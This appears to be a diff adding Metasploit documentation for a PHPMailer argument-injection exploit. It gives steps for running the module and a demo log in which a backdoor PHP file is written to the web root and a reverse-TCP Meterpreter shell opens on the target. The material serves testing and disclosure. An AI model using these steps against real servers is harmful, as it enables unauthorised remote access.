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| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +PHPMailer versions up to and including [5.2.20](https://github.com/PHPMailer/PHPMailer/archive/v5.2.20.tar.gz) are affected by a vulnerability which can be leveraged by an attacker to |
| 4 | +write a file with partially controlled contents to an arbitrary location through injection of arguments that are passed |
| 5 | +to the sendmail binary. This module writes a payload to the web root of the webserver before then executing it with an |
| 6 | +HTTP request. The user running PHPMailer must have write access to the specified WEB_ROOT directory and successful |
| 7 | +exploitation can take a few minutes. |
| 8 | + |
| 9 | +[5.1.18](https://github.com/PHPMailer/PHPMailer/archive/v5.2.18.tar.gz) is also targetted. |
| 10 | + |
| 11 | +## Verification Steps |
| 12 | + |
| 13 | + 1. Install a vulnerable PHPMailer |
| 14 | + 2. Start msfconsole |
| 15 | + 3. `use exploit/multi/http/phpmailer_arg_injection` |
| 16 | + 4. Set the TARGETURI and WEB_ROOT options as applicable |
| 17 | + 5. `exploit` |
| 18 | + 6. Verify the module yields a PHP meterpreter session in < 5 minutes |
| 19 | + 7. Verify the malicious PHP file was automatically removed |
| 20 | + |
| 21 | +## Scenarios |
| 22 | + |
| 23 | + Demo taken directly from [PR7768](https://github.com/rapid7/metasploit-framework/pull/7768) |
| 24 | + |
| 25 | +``` |
| 26 | +msf (S:0 J:0) exploit(php_mailer) > options |
| 27 | +
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| 28 | +Module options (exploit/linux/http/php_mailer): |
| 29 | +
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| 30 | + Name Current Setting Required Description |
| 31 | + ---- --------------- -------- ----------- |
| 32 | + Proxies no A proxy chain of format type:host:port[,type:host:port][...] |
| 33 | + RHOST 192.168.90.134 yes The target address |
| 34 | + RPORT 8080 yes The target port |
| 35 | + SSL false no Negotiate SSL/TLS for outgoing connections |
| 36 | + TARGETURI / yes Path to the application root |
| 37 | + TRIGGERURI no Path to the uploaded payload |
| 38 | + VHOST no HTTP server virtual host |
| 39 | + WEB_ROOT /www yes Path to the web root |
| 40 | +
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| 41 | +
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| 42 | +
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| 43 | +Payload options (php/meterpreter/reverse_tcp): |
| 44 | +
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| 45 | + Name Current Setting Required Description |
| 46 | + ---- --------------- -------- ----------- |
| 47 | + LHOST 192.168.90.134 yes The listen address |
| 48 | + LPORT 4444 yes The listen port |
| 49 | +
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| 50 | +
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| 51 | +Exploit target: |
| 52 | +
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| 53 | + Id Name |
| 54 | + -- ---- |
| 55 | + 0 Automatic |
| 56 | +
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| 57 | +
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| 58 | +
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| 59 | +msf (S:0 J:0) exploit(php_mailer) > rexploit |
| 60 | +[*] Reloading module... |
| 61 | +
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| 62 | +[*] [2016.12.29-17:03:47] Started reverse TCP handler on 192.168.90.134:4444 |
| 63 | +[*] [2016.12.29-17:03:47] Writing the backdoor to /www/0IxI5AFB.php |
| 64 | +[*] [2016.12.29-17:04:07] Sleeping before requesting the written file |
| 65 | +[*] [2016.12.29-17:04:07] Waiting for up to 300 seconds to trigger the payload |
| 66 | +[+] [2016.12.29-17:04:48] Successfully found the payload |
| 67 | +[*] [2016.12.29-17:05:50] Sending stage (34122 bytes) to 172.17.0.2 |
| 68 | +[*] Meterpreter session 4 opened (192.168.90.134:4444 -> 172.17.0.2:47280) at 2016-12-29 17:05:50 -0500 |
| 69 | +[+] [2016.12.29-17:05:50] Deleted /www/0IxI5AFB.php |
| 70 | +[+] [2016.12.29-17:06:10] Successfully triggered the payload |
| 71 | +
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| 72 | +
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| 73 | +meterpreter > sysinfo |
| 74 | +Computer : 90f0c8e8dbe4 |
| 75 | +OS : Linux 90f0c8e8dbe4 4.8.15-200.fc24.x86_64 #1 SMP Thu Dec 15 23:09:22 UTC 2016 x86_64 |
| 76 | +Meterpreter : php/linux |
| 77 | +
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| 78 | +meterpreter > |
| 79 | +``` |
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